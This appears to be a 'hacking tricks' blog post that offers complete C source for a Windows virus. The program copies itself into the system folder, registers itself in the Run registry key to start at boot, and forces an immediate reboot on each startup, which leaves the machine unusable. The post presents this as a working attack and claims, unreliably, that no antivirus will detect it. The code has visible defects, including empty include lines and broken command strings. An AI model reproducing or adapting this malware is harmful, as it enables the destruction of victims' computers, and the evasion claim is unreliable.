HACKING TRICKS

Today I will show you how to create a virus that restarts the computer upon every startup. That is, upon infection, the computer will get restarted every time the system is booted. This means that the computer will become inoperable since it reboots as soon as the desktop is loaded.

For this, the virus need to be doubleclicked only once and from then onwards it will carry out rest of the operations. And one more thing, none of the antivirus softwares detect’s this as a virus since I have coded this virus in C. So if you are familiar with C languagethen it’s too easy to understand the logic behind the coding.

Here is the source code.

#include
#include
#include

int found,drive_no;char buff[128];

void findroot()
{
int done;
struct ffblk ffblk; 
done=findfirst(“C:\\windows\\system”,&ffblk,FA_DIREC); 
if(done==0)
{
done=findfirst(“C:\\windows\\system\\sysres.exe”,&ffblk,0); 
if(done==0)
{
found=1; 
return;
}
drive_no=1;
return;
}
done=findfirst(“D:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“D:\\windows\\system\\sysres.exe”,&ffblk,0);
if
(done==0)
{
found=1;return;
}
drive_no=2;
return;
}
done=findfirst(“E:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“E:\\windows\\system\\sysres.exe”,&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=3;
return;
}
done=findfirst(“F:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“F:\\windows\\system\\sysres.exe”,&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=4;
return;
}
else
exit(0);
}

void main()
{
FILE *self,*target;
findroot();
if(found==0) 
{
self=fopen(_argv[0],”rb”); 
switch(drive_no)
{
case 1:
target=fopen(“C:\\windows\\system\\sysres.exe”,”wb”); //to place a copy of itself in a remote place
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
C:\\windows\\system\\ sysres.exe”); //put this file to registry for starup
break;

case 2:
target=fopen(“D:\\windows\\system\\sysres.exe”,”wb”);
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
D:\\windows\\system\\sysres.exe”);
break;

case 3:
target=fopen(“E:\\windows\\system\\sysres.exe”,”wb”);
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
E:\\windows\\system\\sysres.exe”);
break;

case 4:
target=fopen(“F:\\windows\\system\\sysres.exe”,”wb”);
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
F:\\windows\\system\\sysres.exe”);
break;

default:
exit(0);
}

while(fread(buff,1,1,self)>0)
fwrite(buff,1,1,target);
fcloseall();
}

else
system(“shutdown -r -t 0″); //if the system is already infected then just give a command to restart}